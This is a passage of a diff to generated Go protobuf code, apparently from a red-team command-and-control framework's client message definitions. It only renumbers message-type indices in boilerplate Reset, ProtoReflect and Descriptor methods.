protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3685,7 +3835,7 @@ func (x *Job) String() string { func (*Job) ProtoMessage() {} func (x *Job) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[29] + mi := &file_clientpb_client_proto_msgTypes[31] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3698,7 +3848,7 @@ func (x *Job) ProtoReflect() protoreflect.Message { // Deprecated: Use Job.ProtoReflect.Descriptor instead. func (*Job) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{29} + return file_clientpb_client_proto_rawDescGZIP(), []int{31} } func (x *Job) GetID() uint32 { @@ -3761,7 +3911,7 @@ type Jobs struct { func (x *Jobs) Reset() { *x = Jobs{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[30] + mi := &file_clientpb_client_proto_msgTypes[32] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3774,7 +3924,7 @@ func (x *Jobs) String() string { func (*Jobs) ProtoMessage() {} func (x *Jobs) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[30] + mi := &file_clientpb_client_proto_msgTypes[32] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3787,7 +3937,7 @@ func (x *Jobs) ProtoReflect() protoreflect.Message { // Deprecated: Use Jobs.ProtoReflect.Descriptor instead. func (*Jobs) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{30} + return file_clientpb_client_proto_rawDescGZIP(), []int{32} } func (x *Jobs) GetActive() []*Job { @@ -3808,7 +3958,7 @@ type KillJobReq struct { func (x *KillJobReq) Reset() { *x = KillJobReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[31] + mi := &file_clientpb_client_proto_msgTypes[33] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3821,7 +3971,7 @@ func (x *KillJobReq) String() string { func (*KillJobReq) ProtoMessage() {} func (x *KillJobReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[31] + mi := &file_clientpb_client_proto_msgTypes[33] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3834,7 +3984,7 @@ func (x *KillJobReq) ProtoReflect() protoreflect.Message { // Deprecated: Use KillJobReq.ProtoReflect.Descriptor instead. func (*KillJobReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{31} + return file_clientpb_client_proto_rawDescGZIP(), []int{33} } func (x *KillJobReq) GetID() uint32 { @@ -3856,7 +4006,7 @@ type KillJob struct { func (x *KillJob) Reset() { *x = KillJob{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[32] + mi := &file_clientpb_client_proto_msgTypes[34] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3869,7 +4019,7 @@ func (x *KillJob) String() string { func (*KillJob) ProtoMessage() {} func (x *KillJob) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[32] + mi := &file_clientpb_client_proto_msgTypes[34] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3882,7 +4032,7 @@ func (x *KillJob) ProtoReflect() protoreflect.Message { // Deprecated: Use KillJob.ProtoReflect.Descriptor instead. func (*KillJob) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{32} + return file_clientpb_client_proto_rawDescGZIP(), []int{34} } func (x *KillJob) GetID() uint32 { @@ -3912,7 +4062,7 @@ type MTLSListenerReq struct { func (x *MTLSListenerReq) Reset() { *x = MTLSListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[33] + mi := &file_clientpb_client_proto_msgTypes[35] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3925,7 +4075,7 @@ func (x *MTLSListenerReq) String() string { func (*MTLSListenerReq) ProtoMessage() {} func (x *MTLSListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[33] + mi := &file_clientpb_client_proto_msgTypes[35] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3938,7 +4088,7 @@ func (x *MTLSListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MTLSListenerReq.ProtoReflect.Descriptor instead. func (*MTLSListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{33} + return file_clientpb_client_proto_rawDescGZIP(), []int{35} } func (x *MTLSListenerReq) GetHost() string { @@ -3973,7 +4123,7 @@ type MTLSListener struct { func (x *MTLSListener) Reset() { *x = MTLSListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[34] + mi := &file_clientpb_client_proto_msgTypes[36] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3986,7 +4136,7 @@ func (x *MTLSListener) String() string { func (*MTLSListener) ProtoMessage() {} func (x *MTLSListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[34] + mi := &file_clientpb_client_proto_msgTypes[36] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3999,7 +4149,7 @@ func (x *MTLSListener) ProtoReflect() protoreflect.Message { // Deprecated: Use MTLSListener.ProtoReflect.Descriptor instead. func (*MTLSListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{34} + return file_clientpb_client_proto_rawDescGZIP(), []int{36} } func (x *MTLSListener) GetJobID() uint32 { @@ -4025,7 +4175,7 @@ type WGListenerReq struct { func (x *WGListenerReq) Reset() { *x = WGListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[35] + mi := &file_clientpb_client_proto_msgTypes[37] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4038,7 +4188,7 @@ func (x *WGListenerReq) String() string { func (*WGListenerReq) ProtoMessage() {} func (x *WGListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[35] + mi := &file_clientpb_client_proto_msgTypes[37] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4051,7 +4201,7 @@ func (x *WGListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use WGListenerReq.ProtoReflect.Descriptor instead. func (*WGListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{35} + return file_clientpb_client_proto_rawDescGZIP(), []int{37} } func (x *WGListenerReq) GetHost() string { @@ -4107,7 +4257,7 @@ type WGListener struct { func (x *WGListener) Reset() { *x = WGListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[36] + mi := &file_clientpb_client_proto_msgTypes[38] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4120,7 +4270,7 @@ func (x *WGListener) String() string { func (*WGListener) ProtoMessage() {} func (x *WGListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[36] + mi := &file_clientpb_client_proto_msgTypes[38] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4133,7 +4283,7 @@ func (x *WGListener) ProtoReflect() protoreflect.Message { // Deprecated: Use WGListener.ProtoReflect.Descriptor instead. func (*WGListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{36} + return file_clientpb_client_proto_rawDescGZIP(), []int{38} } func (x *WGListener) GetJobID() uint32 { @@ -4159,7 +4309,7 @@ type DNSListenerReq struct { func (x *DNSListenerReq) Reset() { *x = DNSListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[37] + mi := &file_clientpb_client_proto_msgTypes[39] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4172,7 +4322,7 @@ func (x *DNSListenerReq) String() string { func (*DNSListenerReq) ProtoMessage() {} func (x *DNSListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[37] + mi := &file_clientpb_client_proto_msgTypes[39] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4185,7 +4335,7 @@ func (x *DNSListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DNSListenerReq.ProtoReflect.Descriptor instead. func (*DNSListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{37} + return file_clientpb_client_proto_rawDescGZIP(), []int{39} } func (x *DNSListenerReq) GetDomains() []string { @@ -4241,7 +4391,7 @@ type DNSListener struct { func (x *DNSListener) Reset() { *x = DNSListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[38] + mi := &file_clientpb_client_proto_msgTypes[40] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4254,7 +4404,7 @@ func (x *DNSListener) String() string { func (*DNSListener) ProtoMessage() {} func (x *DNSListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[38] + mi := &file_clientpb_client_proto_msgTypes[40] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4267,7 +4417,7 @@ func (x *DNSListener) ProtoReflect() protoreflect.Message { // Deprecated: Use DNSListener.ProtoReflect.Descriptor instead. func (*DNSListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{38} + return file_clientpb_client_proto_rawDescGZIP(), []int{40} } func (x *DNSListener) GetJobID() uint32 { @@ -4300,7 +4450,7 @@ type HTTPListenerReq struct { func (x *HTTPListenerReq) Reset() { *x = HTTPListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[39] + mi := &file_clientpb_client_proto_msgTypes[41] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4313,7 +4463,7 @@ func (x *HTTPListenerReq) String() string { func (*HTTPListenerReq) ProtoMessage() {} func (x *HTTPListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[39] + mi := &file_clientpb_client_proto_msgTypes[41] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4326,7 +4476,7 @@ func (x *HTTPListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPListenerReq.ProtoReflect.Descriptor instead. func (*HTTPListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{39} + return file_clientpb_client_proto_rawDescGZIP(), []int{41} } func (x *HTTPListenerReq) GetDomain() string { @@ -4433,7 +4583,7 @@ type NamedPipesReq struct { func (x *NamedPipesReq) Reset() { *x = NamedPipesReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[40] + mi := &file_clientpb_client_proto_msgTypes[42] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4446,7 +4596,7 @@ func (x *NamedPipesReq) String() string { func (*NamedPipesReq) ProtoMessage() {} func (x *NamedPipesReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[40] + mi := &file_clientpb_client_proto_msgTypes[42] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4459,7 +4609,7 @@ func (x *NamedPipesReq) ProtoReflect() protoreflect.Message { // Deprecated: Use NamedPipesReq.ProtoReflect.Descriptor instead. func (*NamedPipesReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{40} + return file_clientpb_client_proto_rawDescGZIP(), []int{42} } func (x *NamedPipesReq) GetPipeName() string { @@ -4489,7 +4639,7 @@ type NamedPipes struct { func (x *NamedPipes) Reset() { *x = NamedPipes{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[41] + mi := &file_clientpb_client_proto_msgTypes[43] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4502,7 +4652,7 @@ func (x *NamedPipes) String() string { func (*NamedPipes) ProtoMessage() {} func (x *NamedPipes) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[41] + mi := &file_clientpb_client_proto_msgTypes[43] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4515,7 +4665,7 @@ func (x *NamedPipes) ProtoReflect() protoreflect.Message { // Deprecated: Use NamedPipes.ProtoReflect.Descriptor instead. func (*NamedPipes) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{41} + return file_clientpb_client_proto_rawDescGZIP(), []int{43} } func (x *NamedPipes) GetSuccess() bool { @@ -4552,7 +4702,7 @@ type TCPPivotReq struct { func (x *TCPPivotReq) Reset() { *x = TCPPivotReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[42] + mi := &file_clientpb_client_proto_msgTypes[44] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4565,7 +4715,7 @@ func (x *TCPPivotReq) String() string { func (*TCPPivotReq) ProtoMessage() {} func (x *TCPPivotReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[42] + mi := &file_clientpb_client_proto_msgTypes[44] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4578,7 +4728,7 @@ func (x *TCPPivotReq) ProtoReflect() protoreflect.Message { // Deprecated: Use TCPPivotReq.ProtoReflect.Descriptor instead. func (*TCPPivotReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{42} + return file_clientpb_client_proto_rawDescGZIP(), []int{44} } func (x *TCPPivotReq) GetAddress() string { @@ -4608,7 +4758,7 @@ type TCPPivot struct { func (x *TCPPivot) Reset() { *x = TCPPivot{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[43] + mi := &file_clientpb_client_proto_msgTypes[45] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4621,7 +4771,7 @@ func (x *TCPPivot) String() string { func (*TCPPivot) ProtoMessage() {} func (x *TCPPivot) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[43] + mi := &file_clientpb_client_proto_msgTypes[45] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4634,7 +4784,7 @@ func (x *TCPPivot) ProtoReflect() protoreflect.Message { // Deprecated: Use TCPPivot.ProtoReflect.Descriptor instead. func (*TCPPivot) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{43} + return file_clientpb_client_proto_rawDescGZIP(), []int{45} } func (x *TCPPivot) GetSuccess() bool { @@ -4669,7 +4819,7 @@ type HTTPListener struct { func (x *HTTPListener) Reset() { *x = HTTPListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[44] + mi := &file_clientpb_client_proto_msgTypes[46] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4682,7 +4832,7 @@ func (x *HTTPListener) String() string { func (*HTTPListener) ProtoMessage() {} func (x *HTTPListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[44] + mi := &file_clientpb_client_proto_msgTypes[46] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4695,7 +4845,7 @@ func (x *HTTPListener) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPListener.ProtoReflect.Descriptor instead. func (*HTTPListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{44} + return file_clientpb_client_proto_rawDescGZIP(), []int{46} } func (x *HTTPListener) GetJobID() uint32 { @@ -4716,7 +4866,7 @@ type Sessions struct { func (x *Sessions) Reset() { *x = Sessions{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[45] + mi := &file_clientpb_client_proto_msgTypes[47] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4729,7 +4879,7 @@ func (x *Sessions) String() string { func (*Sessions) ProtoMessage() {} func (x *Sessions) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[45] + mi := &file_clientpb_client_proto_msgTypes[47] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4742,7 +4892,7 @@ func (x *Sessions) ProtoReflect() protoreflect.Message { // Deprecated: Use Sessions.ProtoReflect.Descriptor instead. func (*Sessions) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{45} + return file_clientpb_client_proto_rawDescGZIP(), []int{47} } func (x *Sessions) GetSessions() []*Session { @@ -4765,7 +4915,7 @@ type RenameReq struct { func (x *RenameReq) Reset() { *x = RenameReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[46] + mi := &file_clientpb_client_proto_msgTypes[48] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4778,7 +4928,7 @@ func (x *RenameReq) String() string { func (*RenameReq) ProtoMessage() {} func (x *RenameReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[46] + mi := &file_clientpb_client_proto_msgTypes[48] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4791,7 +4941,7 @@ func (x *RenameReq) ProtoReflect() protoreflect.Message { // Deprecated: Use RenameReq.ProtoReflect.Descriptor instead. func (*RenameReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{46} + return file_clientpb_client_proto_rawDescGZIP(), []int{48} } func (x *RenameReq) GetSessionID() string { @@ -4826,7 +4976,7 @@ type GenerateReq struct { func (x *GenerateReq) Reset() { *x = GenerateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[47] + mi := &file_clientpb_client_proto_msgTypes[49] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4839,7 +4989,7 @@ func (x *GenerateReq) String() string { func (*GenerateReq) ProtoMessage() {} func (x *GenerateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[47] + mi := &file_clientpb_client_proto_msgTypes[49] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4852,7 +5002,7 @@ func (x *GenerateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use GenerateReq.ProtoReflect.Descriptor instead. func (*GenerateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{47} + return file_clientpb_client_proto_rawDescGZIP(), []int{49} } func (x *GenerateReq) GetConfig() *ImplantConfig { @@ -4873,7 +5023,7 @@ type Generate struct { func (x *Generate) Reset() { *x = Generate{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[48] + mi := &file_clientpb_client_proto_msgTypes[50] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4886,7 +5036,7 @@ func (x *Generate) String() string { func (*Generate) ProtoMessage() {} func (x *Generate) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[48] + mi := &file_clientpb_client_proto_msgTypes[50] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4899,7 +5049,7 @@ func (x *Generate) ProtoReflect() protoreflect.Message { // Deprecated: Use Generate.ProtoReflect.Descriptor instead. func (*Generate) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{48} + return file_clientpb_client_proto_rawDescGZIP(), []int{50} } func (x *Generate) GetFile() *commonpb.File { @@ -4925,7 +5075,7 @@ type MSFReq struct { func (x *MSFReq) Reset() { *x = MSFReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[49] + mi := &file_clientpb_client_proto_msgTypes[51] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4938,7 +5088,7 @@ func (x *MSFReq) String() string { func (*MSFReq) ProtoMessage() {} func (x *MSFReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[49] + mi := &file_clientpb_client_proto_msgTypes[51] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4951,7 +5101,7 @@ func (x *MSFReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MSFReq.ProtoReflect.Descriptor instead. func (*MSFReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{49} + return file_clientpb_client_proto_rawDescGZIP(), []int{51} } func (x *MSFReq) GetPayload() string { @@ -5013,7 +5163,7 @@ type MSFRemoteReq struct { func (x *MSFRemoteReq) Reset() { *x = MSFRemoteReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[50] + mi := &file_clientpb_client_proto_msgTypes[52] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5026,7 +5176,7 @@ func (x *MSFRemoteReq) String() string { func (*MSFRemoteReq) ProtoMessage() {} func (x *MSFRemoteReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[50] + mi := &file_clientpb_client_proto_msgTypes[52] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5039,7 +5189,7 @@ func (x *MSFRemoteReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MSFRemoteReq.ProtoReflect.Descriptor instead. func (*MSFRemoteReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{50} + return file_clientpb_client_proto_rawDescGZIP(), []int{52} } func (x *MSFRemoteReq) GetPayload() string { @@ -5109,7 +5259,7 @@ type StagerListenerReq struct { func (x *StagerListenerReq) Reset() { *x = StagerListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[51] + mi := &file_clientpb_client_proto_msgTypes[53] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5122,7 +5272,7 @@ func (x *StagerListenerReq) String() string { func (*StagerListenerReq) ProtoMessage() {} func (x *StagerListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[51] + mi := &file_clientpb_client_proto_msgTypes[53] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5135,7 +5285,7 @@ func (x *StagerListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use StagerListenerReq.ProtoReflect.Descriptor instead. func (*StagerListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{51} + return file_clientpb_client_proto_rawDescGZIP(), []int{53} } func (x *StagerListenerReq) GetProtocol() StageProtocol { @@ -5205,7 +5355,7 @@ type StagerListener struct { func (x *StagerListener) Reset() { *x = StagerListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[52] + mi := &file_clientpb_client_proto_msgTypes[54] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5218,7 +5368,7 @@ func (x *StagerListener) String() string { func (*StagerListener) ProtoMessage() {} func (x *StagerListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[52] + mi := &file_clientpb_client_proto_msgTypes[54] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5231,7 +5381,7 @@ func (x *StagerListener) ProtoReflect() protoreflect.Message { // Deprecated: Use StagerListener.ProtoReflect.Descriptor instead. func (*StagerListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{52} + return file_clientpb_client_proto_rawDescGZIP(), []int{54} } func (x *StagerListener) GetJobID() uint32 { @@ -5254,7 +5404,7 @@ type ShellcodeRDIReq struct { func (x *ShellcodeRDIReq) Reset() { *x = ShellcodeRDIReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[53] + mi := &file_clientpb_client_proto_msgTypes[55] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5267,7 +5417,7 @@ func (x *ShellcodeRDIReq) String() string { func (*ShellcodeRDIReq) ProtoMessage() {} func (x *ShellcodeRDIReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[53] + mi := &file_clientpb_client_proto_msgTypes[55] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5280,7 +5430,7 @@ func (x *ShellcodeRDIReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeRDIReq.ProtoReflect.Descriptor instead. func (*ShellcodeRDIReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{53} + return file_clientpb_client_proto_rawDescGZIP(), []int{55} } func (x *ShellcodeRDIReq) GetData() []byte { @@ -5315,7 +5465,7 @@ type ShellcodeRDI struct { func (x *ShellcodeRDI) Reset() { *x = ShellcodeRDI{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[54] + mi := &file_clientpb_client_proto_msgTypes[56] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5328,7 +5478,7 @@ func (x *ShellcodeRDI) String() string { func (*ShellcodeRDI) ProtoMessage() {} func (x *ShellcodeRDI) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[54] + mi := &file_clientpb_client_proto_msgTypes[56] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5341,7 +5491,7 @@ func (x *ShellcodeRDI) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeRDI.ProtoReflect.Descriptor instead. func (*ShellcodeRDI) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{54} + return file_clientpb_client_proto_rawDescGZIP(), []int{56} } func (x *ShellcodeRDI) GetData() []byte { @@ -5369,7 +5519,7 @@ type MsfStagerReq struct { func (x *MsfStagerReq) Reset() { *x = MsfStagerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[55] + mi := &file_clientpb_client_proto_msgTypes[57] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5382,7 +5532,7 @@ func (x *MsfStagerReq) String() string { func (*MsfStagerReq) ProtoMessage() {} func (x *MsfStagerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[55] + mi := &file_clientpb_client_proto_msgTypes[57] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5395,7 +5545,7 @@ func (x *MsfStagerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MsfStagerReq.ProtoReflect.Descriptor instead. func (*MsfStagerReq) Descriptor() 